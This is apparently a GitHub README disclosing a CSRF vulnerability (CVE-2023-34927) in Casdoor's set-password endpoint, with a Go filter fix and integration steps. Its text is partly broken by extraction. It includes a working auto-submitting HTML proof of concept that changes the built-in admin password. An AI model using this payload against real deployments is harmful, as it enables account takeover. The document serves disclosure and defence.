vanlam2001/csrf_casdoorProof-of-concept CSRF exploit for Casdoor's `/api/set-password` endpoint (CVE-2023-34927), enabling unauthorized password changes via cross-site POST requests. Includes a Go-based CSRF filter fix.
Summary
/api/set-password allowing password changes without consent.Impact
built-in/admin), leading to account takeover.Attack Prerequisites
casdoor_session_id cookie./api/set-password.Proof of Concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Root Cause
/api/* accept cookie-authenticated requests without enforcing same-origin checks (Origin/Referer) or CSRF tokens.Fix Overview
/api/*.Authorization, Basic auth, client credentials, or accessToken) or requests without browser session cookies (typical server-to-server calls).Implementation
routers.CSRFFilter implemented in csrf_filter.go. This filter:
How to Integrate into Casdoor
csrf_filter.go into the existing routers package of the Casdoor project. Do not modify or delete anything in this file.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Verification
Unauthorized operation and the server should log CSRF check failed.Authorization headers or accessToken parameters should continue to work.Repository Files
csrf_filter.go: CSRF filter to copy into Casdoor’s routers package.poc.html: Minimal page reproducing the CSRF attack.README.md: This document describing the vulnerability and fix steps.References
Video